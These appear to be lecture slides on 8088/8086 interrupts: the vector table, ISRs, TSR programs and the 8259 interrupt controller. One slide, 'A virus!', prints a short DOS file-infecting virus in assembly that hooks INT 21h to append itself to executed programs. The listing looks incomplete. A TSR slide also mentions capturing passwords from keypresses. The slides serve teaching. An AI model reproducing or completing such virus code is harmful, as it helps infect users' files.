Weeks 12 and 13
Interrupt Interface of the 8088 and 8086 Microprocessors
INTERRUPT INTERFACE

Interrupts provide a mechanism for quickly changing program environment.

The section of the program which the control is passed: Interrupt Service Routine, ex: For printers it is the printer driver.

8088 and 8086 interrupts:

✓ External Hardware Interrupts
✓ Nonmaskable Interrupt
✓ Software Interrupts
✓ Internal Interrupts
✓ Reset

Lower priority interrupts need to wait for the higher priority interrupts to be completed
8088/8086 Interrupts

- An interrupt is an external event which informs the CPU that a device needs service.
- In the 8088 & 8086 there are a total of 256 interrupts (or interrupt types):
  - INT 00
  - INT 01
  - ...
  - INT FF
- When an interrupt is executed, the microprocessor automatically saves the flags register (FR), the instruction pointer (IP) and the code segment register (CS) on the stack and goes to a fixed memory location.
- In 80x86, the memory location to which an interrupt goes is always four times the value of the interrupt number.
- INT 03h goes to 000Ch
Interrupt Service Routine

- For every interrupt, there must be a program associated with it
- This program is called an Interrupt Service Routine (ISR)
- It is also called an interrupt handler
- When an interrupt occurs, CPU runs the interrupt handler but where is the handler?
  - In the interrupt Vector Table (IVT)

<table>
<thead>
<tr>
<th>INT Number</th>
<th>Physical Address</th>
<th>Contains</th>
</tr>
</thead>
<tbody>
<tr>
<td>INT 00</td>
<td>00000h</td>
<td>IP0:CS0</td>
</tr>
<tr>
<td>INT 01</td>
<td>00004h</td>
<td>IP1:CS1</td>
</tr>
<tr>
<td>INT 02</td>
<td>00008h</td>
<td>IP2:CS2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>INT FF</td>
<td>003FCh</td>
<td>IP255:CS255</td>
</tr>
</tbody>
</table>
Interrupt Vector Table

- Interrupt vector table consists of 256 entries each containing 4 bytes.
- Each entry contains the offset and the segment address of the interrupt vector each 2 bytes long.
- Table starts at the memory address 00000H.
- First 32 vectors are spared for various microprocessor operations.
- The rest 224 vectors are user definable.
- The lower the vector number, the higher the priority.
## Interrupt Vector Table

- **Contains 256 address pointers (vectors)**
- **These pointers identify the starting location of their service routines in program memory.**
- **Held as firmware or loaded as system initialization**

<table>
<thead>
<tr>
<th>Memory Address</th>
<th>Table Entry</th>
<th>Vector Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>3FE</td>
<td>CS 255</td>
<td>Vector 255_{10}</td>
</tr>
<tr>
<td>3FC</td>
<td>IP 255</td>
<td>User Available</td>
</tr>
<tr>
<td>82</td>
<td>CS 32</td>
<td>Vector 32_{10}</td>
</tr>
<tr>
<td>80</td>
<td>IP 32</td>
<td>Reserved</td>
</tr>
<tr>
<td>7E</td>
<td>CS 31</td>
<td></td>
</tr>
<tr>
<td>7C</td>
<td>IP 31</td>
<td></td>
</tr>
<tr>
<td>16</td>
<td>CS 5</td>
<td>Vector 5</td>
</tr>
<tr>
<td>14</td>
<td>IP 5</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>CS 4</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>IP 4</td>
<td></td>
</tr>
<tr>
<td>0E</td>
<td>CS 3</td>
<td></td>
</tr>
<tr>
<td>0C</td>
<td>IP 3</td>
<td></td>
</tr>
<tr>
<td>0A</td>
<td>CS 2</td>
<td>Vector 2 — NMI</td>
</tr>
<tr>
<td>08</td>
<td>IP 2</td>
<td></td>
</tr>
<tr>
<td>06</td>
<td>CS 1</td>
<td>Vector 1 — Single-Step</td>
</tr>
<tr>
<td>04</td>
<td>IP 1</td>
<td></td>
</tr>
<tr>
<td>02</td>
<td>CS Value — Vector 0 (CS 0)</td>
<td></td>
</tr>
<tr>
<td>00</td>
<td>IP Value — Vector 0 (IP 0)</td>
<td></td>
</tr>
</tbody>
</table>

- **First 1 K memory**
Examples

For example: vector 50: CS and IP?

Physical Address 200 = (4 x 50) = 200 = 11001000 = C8H
000C8 contains IP: and 000CA contains CS information

• INT 12h (or vector 12)
• The physical address 30h (4 x 12 = 48 = 30h) contains
  0030h and 0031h contain IP of the ISR
  0032h and 0033h contain CS of the ISR
# Interrupt Instructions

<table>
<thead>
<tr>
<th>Mnemonic</th>
<th>Meaning</th>
<th>Format</th>
<th>Operation</th>
<th>Flags Affected</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLI</td>
<td>Clear interrupt flag</td>
<td>CLI</td>
<td>0 → (IF)</td>
<td>IF</td>
</tr>
<tr>
<td>STI</td>
<td>Set interrupt flag</td>
<td>STI</td>
<td>1 → (IF)</td>
<td>IF</td>
</tr>
<tr>
<td>INT n</td>
<td>Type n software interrupt</td>
<td>INT n</td>
<td>(Flags) → ((SP) − 2) 0 → TF, IF (CS) → ((SP) − 4) (2 + 4 · n) → (CS) (IP) → ((SP) − 6) (4 · n) → (IP)</td>
<td>TF, IF</td>
</tr>
<tr>
<td>IRET</td>
<td>Interrupt return</td>
<td>IRET</td>
<td>((SP)) → (IP) ((SP) + 2) → (CS) ((SP) + 4) → (Flags) (SP) + 6 → (SP)</td>
<td>All</td>
</tr>
<tr>
<td>INTO</td>
<td>Interrupt on overflow</td>
<td>INTO</td>
<td>INT 4 steps</td>
<td>TF, IF</td>
</tr>
<tr>
<td>HLT</td>
<td>Halt</td>
<td>HLT</td>
<td>Wait for an external interrupt or reset to occur</td>
<td>None</td>
</tr>
<tr>
<td>WAIT</td>
<td>Wait</td>
<td>WAIT</td>
<td>Wait for TEST input to go active</td>
<td>None</td>
</tr>
</tbody>
</table>
Differences between INT and CALL

- A CALL FAR instruction can jump any location within the 1 MB address range but INT nn goes to a fixed memory location in the Interrupt Vector Table to get the address of the interrupt service routine.

- A CALL FAR instruction is used by the programmer in the sequence of instruction in the program but externally activated hardware interrupt can come at any time.

- A CALL FAR cannot be masked but INT nn in hardware can be blocked.

- A CALL FAR saves CS:IP but INT nn saves Flags and CS:IP.

- At the end of the subroutine RET is used whereas for Interrupt routine IRET should be the last statement.
Interrupt Mechanisms, Types, and Priority

INTERRUPT TYPES SHOWN WITH DECREASING PRIORITY ORDER
1. Reset
2. Internal interrupts and exceptions
3. Software interrupt
4. Nonmaskable interrupt
5. Hardware interrupt

All the interrupts are serviced on priority basis. The higher priority interrupt is served first and an active lower priority interrupt service is interrupted by a higher priority one. Lower priority interrupts will have to wait until their turns come.

The section of program to which the control is passed called **Interrupt-service routine (ISR)**
Interrupt instructions

- Interrupt enable flag (IF) causes external interrupts to be enabled.
- INT n initiates a vectored call of a subroutine.
- INTO instruction should be used after each arithmetic instruction where there is a possibility of an overflow.
- HLT waits for an interrupt to occur.
- WAIT waits for TEST input to go high.
The Operation of Real Mode Interrupt

1. The contents of the FLAG REGİSTERS are pushed onto the stack.
2. Both the interrupt (IF) and (TF) flags are cleared. This disables the INTR pin and the trap or single-step feature. (Depending on the nature of the interrupt, a programmer can unmask the INTR pin by the STI instruction)
3. The contents of the code segment register (CS) is pushed onto the stack.
4. The contents of the instruction pointer (IP) is pushed onto the stack.
5. The interrupt vector contents are fetched, and then placed into both IP and CS so that the next instruction executes at the interrupt service procedure addressed by the interrupt vector.
6. While returning from the interrupt-service routine by the instruction IRET, flags return to their state prior to the interrupt and operation restarts at the prior IP address.
INT 00 (divide error)

MOV AL,92
SUB CL, CL
DIV CL ; 92/0 undefined

; Also invoked if the quotient is too large to fit into the assigned register
MOV AX,0FFFh
MOV BL,2
DIV BL

; WRITE A DIVIDE ERROR ISR
Prompt db ‘Division by zero attempted$’
Diver: PUSH DX
Mov ah,09h
Mov dx, offset prompt
int 21h
POP DX
INT 01 (Single Step)

★ In executing a sequence of instructions, there is often a need to examine the contents of the CPU’s registers and system memory.
★ This is done by executing one instruction at a time and then inspecting the registers and memory
★ This is called the tracing or the single stepping
★ TF must be set (D8 of the flag register)

PUSHF
POP AX
OR AX,0000000100000000B
PUSH AX
POPF
Other Interrupts

- INT 02h
  - Intel has set aside INT 02h for the NMI interrupt
  - There is an NMI pin on the CPU
  - If the NMI pin is activated by a H signal, the CPU jumps to 00008H to fetch the CS:IP of the ISR associated with NMI
- INT 03h (breakpoint)
- INT 04H (signed number overflow) or INTO
  - If OF=0 goes to 00010h to get the address of the ISR
  - Otherwise, it is equivalent to NOP
- Example: Use debug dump command to see the IVT
  - D 0000:0000 0013
The interrupt circuitry must identify which of the pending interrupts has the highest priority.

Then passes its type number to the MPU.

The MPU samples the INTR at the last clock period of each instruction execution cycle. Its active high level must be maintained.

When recognized INTRA generated.
External hardware-interrupt Interface

• Minimum mode hardware-interrupt interface:
  – 8088 samples INTR input during the last clock period of each instruction execution cycle. INTR is a level triggered input; therefore logic 1 input must be maintained there until it is sampled. Moreover, it must be removed before it is sampled next time. Otherwise, the same Interrupt Service is repeated twice.
  – INTA goes to 0 in the first interrupt bus cycle to acknowledge the interrupt after it was decided to respond to the interrupt.
  – It goes to 0 again the second bus cycle too, to request for the interrupt type number from the external device.
  – The interrupt type number is read by the processor and the corresponding int. CS and IP numbers are again read from the memory.
Figure 11-9 Interrupt-acknowledge bus cycle. (Reprinted by permission of Intel Corporation. Copyright/Intel Corp. 1979)
Resident Programs

• Usually non-resident program is a file, loaded from disk by DOS. Termination of such program is the passing control back to DOS. DOS frees all memory, allocated for and by this program, and stays idle to execute next program.

• Resident program passes control to DOS at the end of its execution, but leaves itself in memory whole or partially.

• Such way of program termination was called TSR - Terminate-and-Stay-Resident. So resident programs often called by this abbreviations - TSR.

• For example, TSR can watch keypresses to get passwords, INT 13h sectors operations to substitute info, INT 21h to watch and dispatch file operations and so on.

• TSR stays in memory to have some control over the processes. Usually, TSRs takes INTerrupt vectors to its code, so, when interrupt occurs, vector directs execution to TSR code.
Storing an Interrupt Vector in the Vector Table

In order to install an interrupt vector – sometimes called a hook – the assembler must address absolute memory

**INT 21h**

**Initialization**
AH = 25h
AL = interrupt type number
DS:DX = address of new interrupt procedure

**Read the current vector**
AH = 35h
AL = interrupt type number
ES:BX = address stored at vector

**Terminate and stay resident**
AH = 31h
AL = 00
DX = number of paragraphs to reserve for the program
A virus!

```assembly
.model tiny
.code
org 100h

code_begin:
    mov    ax, 3521h
    int    21h
    mov    word ptr [int21_addr], bx
    mov    word ptr [Int21_addr+02h], es
    mov    ah, 25h
    lea    dx, int21_virus
    int    21h
    xchg   ax, dx
    int    27h

int21_virus proc near
    cmp    ah, 4bh
    jne    int21_exit
    mov    ax, 3d01h
    int    21h
    xchg   ax, bx
    push   cs
    pop    ds
    mov    ah, 40h
    mov    cx, (code_end-code_begin)
    lea    dx, code_begin
int21_exit:
    db      0eh
    code_end:
    int21_addr dd 7
    virus_name db '[Fact]', endp
```
Example-storing Interrupt Vector

Storing an Interrupt Vector in the Vector Table

In order to install an interrupt vector—sometimes called a hook—the assembler must address absolute memory. Example 12–4 shows how a new vector is added to the interrupt vector table by using the assembler and a DOS function call. Here, INT 21H function call number 25H initializes the interrupt vector. Notice that the first thing done in this procedure is to save the old interrupt vector number by using DOS INT 21H function call number 35H to read the current vector. See Appendix A for more detail on DOS INT 21H function calls.

EXAMPLE 12–4

```asm
.MODEL TINY
.CODE
;A program that installs NEW40 at INT 40H.
.
.STARTUP
    JMP START

OLD DD ?
.
;new interrupt procedure
.
NEW40 PROC FAR
.
0106 CF
0107 IRET
.
0107 START:
MOV AX,CS ;get data segment
0109 MOV DS,AX
```

Example-storing Interrupt Vector

010B  B4 35       MOV     AH,35H ;get old interrupt vector
010D  B0 40       MOV     AL,40H
010F  CD 21       INT     21H
0111  89 1E 0102 R MOV     WORD PTR OLD,BX
0115  8C 06 0104 R MOV     WORD PTR OLD+2,ES

;install new interrupt vector 40H

0119  BA 0106 R   MOV     DX,OFFSET NEW40
011C  B4 25       MOV     AH,25H
011E  B0 40       MOV     AL,40H
0120  CD 21       INT     21H

;leave NEW40 in memory

0122  BA 0107 R   MOV     DX,OFFSET START
0125  D1 EA       SHR     DX,1
0127  D1 EA       SHR     DX,1
0129  D1 EA       SHR     DX,1
012B  D1 EA       SHR     DX,1
012D  42          INC     DX
012E  B8 3100     MOV     AX,3100H
0131  CD 21       INT     21H
END
The interrupt sequence begins when external device requests service by activating one of the interrupt inputs.

The external device evaluates the priority of this interrupt

INTR $\rightarrow$ 1

80x86 checks for the INTR at the last T state of the instruction

Check for IF before granting INTA
80x86 initiates the INTA bus cycle. During T1 of the first bus cycle ALE is sent and bus is at Z state and stays high for the bus cycle.

LOCK is provided in maxmode operation

During the second interrupt acknowledge bus cycle, external circuitry gates one of the interrupts 20→FF onto data bus lines

Must be valid during T3 and T4 of second bus cycle
DT/R and DEN are at logic zero and IO/M is at 1.
Next save the contents of the flag register
TF and IF are cleared
CS and IP are pushed

Upon return by IRET
CS and IP are popped
Flags are popped
Interrupt Example

• An interrupting device interrupts the microprocessor each time the interrupt request input has a transition from 0 to 1.
• 74LS244 creates the interrupt type number 60H as a response to INTA
• Assume:
  – CS=DS=1000H
  – SS=4000H
  – Main program offset is 200H
  – Count (counts the number of interrupts) offset is 100H
  – Interrupt-service routine code segment is 2000H
  – Interrupt-service routine code offset is 1000H
  – Stack has an offset of 500H to the current stack segment
  – Make a map of the memory space organisation
  – Write a main program and a service routine to count the number of positive interrupt transitions.
Interrupt Example

Interrupts the microprocessor each time the interrupt request signal has a transition from $0 \rightarrow 1$. The corresponding interrupt number generated by the hardware in response to INTA is 60H.
Memory organization

Main Program
- Set up data segment, stack segment, and stack pointer
- Set up the interrupt vector
- Enable interrupts
- Wait for interrupt

SRVRTN
- Save processor status
- Increment the count
- Restore processor status
- Return

(b) Diagram of memory organization:
- Type 60H interrupt vector table
- Program data area
- Main program
- Interrupt service routine
- Stack

(c) Diagram flow chart:
- ESET → 1000H:0200H
- INTR → 2000H:1000H
- TOS Stack
Program

; Main Program, START = 1000H:0200H

START:
MOV AX, 1000H
MOV DS, AX
MOV AX, 4000H
MOV SS, AX
MOV SP, 0500H
MOV AX, 0000H
MOV ES, AX
MOV AX, 0000H
MOV [ES:180H], AX
MOV AX, 2000H
MOV [ES:182H], AX
STI
HERE:
JMP HERE

; Interrupt Service Routine, SRVRTN = 2000H:1000H

SRVRTN:
PUSH AX
MOV AL, [0100H]
INC AL
DAA
MOV [0100H], AL
POP AX
IRET

(d)
Using hardware interrupt

Using Tri-state buffers to Input vector

Cheapest Way (FF applied)
Interrupt circuits

Figure 12-12: An 82C55 interfaced to a keyboard from the microprocessor system using interrupt vector 40H.
Description

- 8255 is decoded at 0500h, 0502h, 0504h, and 0506h
- 8255 is operated at Mode 1 (strobed input) B0 CONTROL WORD
- Whenever a key is typed, the INTR output (PC3) becomes a logic 1 and requests an interrupt thru the INTR pin on the microprocessor
- The INTR remains high until the ASCII data are read form port A.
- In other words, every time a key is typed the 8255 requests a type 40h interrupt thru the INTR pin
- The DAV signal from the keyboard causes data to be latched into port A and causes INTR to become a logic 1
- Data are input from the keyboard and then stored in the FIFO (first in first out) buffer
- FIFO in our example is 256 bytes
- The procedure first checks to see whether the FIFO is full.
- A full condition is indicated when the input pointer (INP) is one byte below the output pointer (OUTP)
Remembering Mode 1 with Interrupts this time
Example: “Read from the Keyboard routine” into FIFO

; interrupt service routine to read a key from the keyboard
PORTA   EQU     500h
CNTR    EQU     506h
FIFO    DB      256 DUP (?)
INP     DW      ? ; SET AS OFFSET FIFO IN MAIN PROG
OUTP    DW      ? ; SET AS OFFSET FIFO IN MAIN PROG

KEY:    PROC FAR ;USES AX BX DI DX
         MOV BX, INP
         MOV DI, OUTP
         INC BL
         CMP BX, DI              ; test for queue full
         JE FULL                ; if queue is full
         DEC BL
         MOV DX, PORTA
         IN AL,DX              ; read the key
         MOV [BX], AL
         INC WORD PTR INP
         JMP DONE

FULL:   MOV AL,8 ;DISABLE THE INTERRUPT
         MOV DX, CNTR
         OUT DX,AL

DONE:   IRET
         KEY ENDP
Example contd: “Read from the FIFO into AH”

READ: PROC FAR USES BX DI DX
EMPTY: MOV BX, INP
        MOV DI, OUTP
        CMP BX, DI
        JE EMPTY
        MOV AH, CS:DI
        MOV AL, 9 ; enable 8255 intEa
        MOV DX, CNTR
        OUT DX, AL
        INC BYTE PTR CS:OUTP
        RET
READ: ENDP
Multiple Interrupts - Another Interrupt Structure

FIGURE 12-13 Expanding the INTR input from one to seven interrupt request lines.
Multiple Interrupts - Interrupt Structures

- This drawing can accommodate up to 7 interrupts.
- If any of the IR inputs becomes a logic 0, then the output of the NAND gate goes to logic 1 and requests an interrupt through the INTR input.
- The PRIORITY among the interrupts is resolved using software techniques. Ex: IR1 and IR0 active creates FCH (252). At this location IR0 can be placed to resolve.
Operation

• If any of the IR inputs becomes a logic 0, then the output of the NAND gate goes to logic 1 and requests an interrupt through the INTR input
• Single interrupt request
• What if IR0 and IR1 are active at the same time?
  • The interrupt vector is generated is FCh
  • If the IR0 input is to have higher priority, the vector address for IR0 is stored at vector location FCh
  • The entire top half of the vector table and its 128 interrupt vectors must be used to accommodate all possible conditions
  • This seems wasteful but it may be cost effective in simple systems
Multiple Interrupts Using Priority Encoder

Or you may use a priority encoder!
8255 Programmable Interrupt Controller
The 8259 programmable interrupt controller (PIC) adds eight vectored priority encoded interrupts to the microprocessor. This controller can be expanded to accept up to 64 interrupt requests. This requires a master 8259 and eight 8259 slaves. Vector an Interrupt request anywhere in the memory map. Resolve eight levels of interrupt priorities in a variety of modes, such as fully nested mode, automatic rotation mode, and specific rotation mode. Mask each of the interrupt request individually. Read the status of the pending interrupts, in-service interrupts and masked interrupts.
### Block Diagram

#### 82C59A (PDIP, CERDIP, SOIC) Top View

<table>
<thead>
<tr>
<th>PIN</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>D7 - D0</td>
<td>Data Bus (Bidirectional)</td>
</tr>
<tr>
<td>RD</td>
<td>Read Input</td>
</tr>
<tr>
<td>WR</td>
<td>Write Input</td>
</tr>
<tr>
<td>A0</td>
<td>Command Select Address</td>
</tr>
<tr>
<td>CS</td>
<td>Chip Select</td>
</tr>
<tr>
<td>CAS 2 - CAS 0</td>
<td>Cascade Lines</td>
</tr>
<tr>
<td>SP/EN</td>
<td>Slave Program Input Enable</td>
</tr>
<tr>
<td>INT</td>
<td>Interrupt Output</td>
</tr>
<tr>
<td>INTA</td>
<td>Interrupt Acknowledge Input</td>
</tr>
<tr>
<td>IR0 - IR7</td>
<td>Interrupt Request Inputs</td>
</tr>
</tbody>
</table>
82C59A Programmable Interrupt Controller

- Block diagram of 82C59A includes 8 blocks
  - 8259 is treated by the host processor as a peripheral device.
  - 8259 is configured by the host processor to select functions.
  
- **Data bus buffer and read-write logic**: are used to configure the internal registers of the chip.
  - A0 address selects different command words within the 8259
82C59A Programmable Interrupt Controller

– Control Logic INT and INTA¯ are used as the handshaking interface.
  • INT output connects to the INTR pin of the master and is connected to a
    master IR pin on a slave. INTA¯ is sent as a reply.
  • In a system with master and slaves, **only the master INTA¯ signal** is
    connected.

– Interrupt Registers and Priority Resolver: Interrupt inputs IR₀ to IR₇
  can be configured as either *level-sensitive* or *edge-triggered* inputs.
  Edge-triggered inputs become active on 0 to 1 transitions.

1. **Interrupt request register (IRR):** is used to indicate all interrupt
   levels requesting service.

2. **In service register (ISR):** is used to store all interrupt levels which are
   currently being serviced.

3. **Interrupt mask register (IMR):** is used to enable or mask out the
   individual interrupt inputs through bits M₀ to M₇. **0 = enable, 1 =
   masked out.**

4. **Priority resolver:** This block determines the priorities of the bits set in
   the IRR. The highest priority is selected and strobed into the
   corresponding bit of the ISR during the INTA¯ sequence.
   – The priority resolver examines these 3 registers and determines
     whether INT should be sent to the MPU
82C59A Programmable Interrupt Controller

- **Cascade-buffer comparator**: Sends the address of the selected chip to the slaves in the master mode and decodes the status indicated by the master to find own address to respond.
  - Cascade interface CAS$_0$-CAS$_2$ and SP$^-$/EN$^-\!$:
    - Cascade interface CAS$_0$-CAS$_2$ carry the address of the slave to be serviced.
    - SP$^-$/EN$^-\!$ := 1 selects the chip as the master in cascade mode
    - := 0 selects the chip as the slave in cascade mode
    - in single mode it becomes the enable output for the data transiver
1) One or more of the INTERRUPT REQUEST lines (IR0 - IR7) are raised high, setting the corresponding IRR bit(s).

2) The 82C59A evaluates those requests in the priority resolver with the **IMR** and **ISR**, resolves the priority and sends an interrupt (INT) to the CPU, if appropriate.

3) The CPU acknowledges the INT and responds with first INTA pulse.

4) During this INTA pulse, the appropriate ISR bit is set and the corresponding bit in the IRR is reset (to remove request). The 82C59A does not drive the data bus during the first INTA pulse.

5) The 80C86/88/286 CPU will initiate a second INTA pulse. The 82C59A outputs the 8-bit pointer onto the data bus to be read by the CPU.

6) This completes the interrupt cycle. In the **Automatic End of Interrupt** (AEOI) mode, the ISR bit is reset at the end of the second INTA pulse. Otherwise, the ISR bit remains set until an appropriate End of Interrupt (EOI) command is issued at the end of the interrupt subroutine.
8259 System Bus
## Content of the Interrupt Vector Byte

**CONTENT OF INTERRUPT VECTOR BYTE FOR 80C86/88/286 SYSTEM MODE**

<table>
<thead>
<tr>
<th>IR7</th>
<th>D7</th>
<th>D6</th>
<th>D5</th>
<th>D4</th>
<th>D3</th>
<th>D2</th>
<th>D1</th>
<th>D0</th>
</tr>
</thead>
<tbody>
<tr>
<td>IR6</td>
<td>T7</td>
<td>T6</td>
<td>T5</td>
<td>T4</td>
<td>T3</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>IR5</td>
<td>T7</td>
<td>T6</td>
<td>T5</td>
<td>T4</td>
<td>T3</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>IR4</td>
<td>T7</td>
<td>T6</td>
<td>T5</td>
<td>T4</td>
<td>T3</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>IR3</td>
<td>T7</td>
<td>T6</td>
<td>T5</td>
<td>T4</td>
<td>T3</td>
<td>0</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>IR2</td>
<td>T7</td>
<td>T6</td>
<td>T5</td>
<td>T4</td>
<td>T3</td>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>IR1</td>
<td>T7</td>
<td>T6</td>
<td>T5</td>
<td>T4</td>
<td>T3</td>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>IR0</td>
<td>T7</td>
<td>T6</td>
<td>T5</td>
<td>T4</td>
<td>T3</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
Two controllers wired in cascade

On the PC, the controller is operated in the fully nested mode.

Lowest numbered IRQ input has highest priority.

Interrupts of a lower priority will not be acknowledged until the higher priority interrupts have been serviced.
Fully Nested Mode

• It prioritizes the IR inputs such that IR0 has highest priority and IR7 has lowest priority
• This priority structure extends to interrupts currently in service as well as simultaneous interrupt requests
• For example, if an interrupt on IR3 is being serviced (IS3 = 1) and a request occurs on IR2, the controller will issue an interrupt request because IR2 has higher priority.
• But if an IR4 is received (or any interrupt higher than IR2), the controller will not issue the request
• Note however that the IR2 request will not be acknowledged unless the processor has set IF within the IR3 service routine
• In all operating modes, the IS bit corresponding to the active routine must be reset to allow other lower priority interrupts to be acknowledged
• This can be done by outputting manually a special nonspecific EOI instruction to the controller just before IRET
• Alternatively, the controller can be programmed to perform this nonspecific EOI automatically when the second INTA pulse occurs
Interrupt Process Fully Nested Mode
End of Interrupt

- The In Service (IS) bit can be reset automatically following the trailing edge of the last in sequence INTA pulse (when AEOI bit in ICW4 is 1) or by a command word that must be issued to the 8259 before returning from a service routine (EOI command).

- An EOI command must be issued **twice** in the Cascade mode, *once for the master and once for the corresponding slave*.

- There are two forms of (non-automatic) EOI command:
  - **Specific**: When there is a mode which may disturb the fully nested structure, the 8259 may not determine the last level acknowledged. In this case a specific EOI must be issued, which includes the IS level to be reset. (OCW2)
  - **Non Specific**: When a Non Specific EOI issued the 8259 will automatically reset the highest IS bit of those that are set, since in the fully nested mode the highest level was necessarily the last level acknowledged and serviced. (preserve the nested structure)

  - A non Specific EOI can be also issued at OCW2.
Two types of command words are provided to program the 8259:

1) The initialization command words (ICW)
2) The operational command words (OCW)

- Writing ICW1, clears ISR and IMR
- Also Special Masked mode SMM in OCW3, IRR in OCW3 and EOI in OCW2 are cleared to logic 0.
- Fully Nested Mode is entered.
- ICW3 and ICW4 are optional
- It is not possible to modify just one ICW. Whole ICW sequence must be repeated.
What value should be written to ICW1 in order to configure the 8259 so that ICW4 needed, the system is going to use multiple 8259s and its inputs are level sensitive?

00011001b = 19h
What should be programmed into register ICW2 if type number output on the bus is to range from F0h to F7h

\[11110000b = F0h\]

Suppose IR6 is set to generate the value of 6E. Generate the addresses for the other interrupts.

\[
\begin{align*}
\text{IR7} &= 6F \\
\text{IR6} &= 6E \\
\text{IR5} &= 6D \\
\text{IR4} &= 6C \\
\text{IR3} &= 6B \\
\text{IR2} &= 6A \\
\text{IR1} &= 69 \\
\text{IR0} &= 68
\end{align*}
\]
Master Slave Configuration
When slave signals the master that an interrupt is active the master determines whether or not its priority is higher than that of any already active interrupt.

If the new interrupt is of higher priority the master controller switches INTR to logic 1.
This signals MPU that external device needs to be serviced. If IF is set. As the first INTA is sent out the master is signaled to output the 3 bit cascade code of the slave device whose interrupt request is being acknowledged on the CAS bus. All slaves read this code and compare internally

The slave corresponding to the code is signaled to output the type number of its highest priority active interrupt on the data bus during the second INTA cycle.
Q) Suppose we have two slaves connected to a master using IR0 and IR1.

A) The master is programmed with an ICW3 of 03h, one slave is programmed with an ICW3 of 00h and the other with an ICW3 of 01h.
Example Master-Slave

- Any requests on interrupt lines INT7 through INT14 will cause IR6 to be activated on the MASTER.
- The MASTER will then examine the bit 6 in its ICW3 to see if it is set.
- If so it will output the cascade number of the SLAVE on CAS0 through CAS2.
- These cascade bits are received by the SLAVE device which examines its ICW3 to see if there is a match.
- The programmer must have programmed 110 into the SLAVE’S ICW3. If there is a match between the cascade number and ICW3, the SLAVE device will output the appropriate vector number during the second INTA pulse.
ICW4

AEOI mode requires no commands. During the second INTA the ISR bit is reset. The major drawback with this mode is that the ISR doesn’t have info on which IR is served. Thus any IR with any priority can now Interrupt service routine.

BUF when 1 selects buffer mode. The SP/EN pin becomes an output for the data buffers. When 0, the SP/EN pin becomes the input for the (MASTER/SLAVE) functionality

M/S is used to set the function of the 8259 when operated in buffered mode. If M/S is set the 8259 will function as the MASTER. If cleared will function as SLAVE.
Masks and Other Mode selection

• Interrupt Masks

• Each Interrupt request can be masked individually by the IMR programmed through OCW1. Each bit in the IMR masks one interrupt channel if it is set (1). Bit 0 masks IR0, Bit 1 masks IR1 and so forth. Masking an IR channel does not affect the other channels operation.
Special Fully Nested Mode

- Used in the case of a large system where cascading is used, and the priority has to be conserved within each slave.
- This mode is similar to the normal nested mode with the following:
  - When an interrupt request from a certain slave is in service this slave is not locked out from the master’s priority logic and further interrupt requests from higher priority IR’s within the slave will be recognized by the master and will initiate interrupts to the processor.
  - When exiting the ISR the software has to check whether the interrupt is the only interrupt that is serviced from the SLAVE. This is done by sending an EOI command and check the In service register in the SLAVE. If it is the only one, a non specific EOI has to be sent to the MASTER, if it is not empty no action performed.
Automatic Rotation

- Several interrupt sources all of equal priority
- When the EOI is issued the IS bit is reset and then assigned the lowest priority
- The priority of other inputs rotate accordingly
Automatic Rotation

Interrupt requests arrive on IR4 and IR6

EOI command always resets the highest ISR bit (bit of highest priority)
Use automatic rotating mode to clear the IS bit as soon as it is acknowledged
Specific Rotation

- The programmer can change priorities by programming the bottom priority and thus fixing all other priorities (for ex: if IR5 is programmed as the bottom priority device, then IR6 will have the highest one)
- The set priority command is issued in OCW2 where R=1, SL=1, L0-L2 is the binary priority level code of the bottom priority device)
OCW1 - OCW2

OCW1 is used to access the contents of the IMR. A READ operation can be performed to the IMR to determine the present setting of the mask. Write operations can be performed to mask or unmask certain bits.

<table>
<thead>
<tr>
<th>A0</th>
<th>D7</th>
<th>D6</th>
<th>D5</th>
<th>D4</th>
<th>D3</th>
<th>D2</th>
<th>D1</th>
<th>D0</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>M7</td>
<td>M6</td>
<td>M5</td>
<td>M4</td>
<td>M3</td>
<td>M2</td>
<td>M1</td>
<td>M0</td>
</tr>
</tbody>
</table>

Interrupt Mask
1 = Mask set
0 = Mask reset

<table>
<thead>
<tr>
<th>A0</th>
<th>D7</th>
<th>D6</th>
<th>D5</th>
<th>D4</th>
<th>D3</th>
<th>D2</th>
<th>D1</th>
<th>D0</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>R</td>
<td>SL</td>
<td>EOI</td>
<td>0</td>
<td>0</td>
<td>L2</td>
<td>L1</td>
<td>L0</td>
</tr>
</tbody>
</table>

Non-specific EOI command
Specific EOI command
Rotate on non-specific EOI command
Rotate in automatic EOI mode (set)
Rotate in automatic EOI mode (clear)
Rotate on specific EOI command
Set priority command
No operation

<table>
<thead>
<tr>
<th>IR LEVEL TO BE ACTED UPON</th>
</tr>
</thead>
<tbody>
<tr>
<td>0 1 2 3 4 5 6 7</td>
</tr>
<tr>
<td>0 1 0 1 0 1 0 1</td>
</tr>
<tr>
<td>0 0 1 1 0 0 1 1</td>
</tr>
<tr>
<td>0 0 0 0 1 1 1 1</td>
</tr>
</tbody>
</table>

End of interrupt
Automatic rotation
Specific rotation

Controller will not confuse OCW2 with ICW1 since D4 = 1
Example

ISR PROC FAR

... MOV AL, 00100000b OUT 20h, AL IRET ISR ENDP

What should be OCW1 if interrupt inputs IR0 through IR3 are to be masked and IR4 through IR7 are to be unmasked?

D3D2D1D0 = 1111 D7..D4 = 0 => 00001111 = 0F

What should be OCW2; if priority scheme rotate on non specific EOI issued

101 00000 (since it doesn’t have to be specific on certain bit
Permits reading of the contents of the ISR or IRR registers through software
Example

Normally when an IR is acknowledged and EOI is not issued, lower priority interrupts will be inhibited.

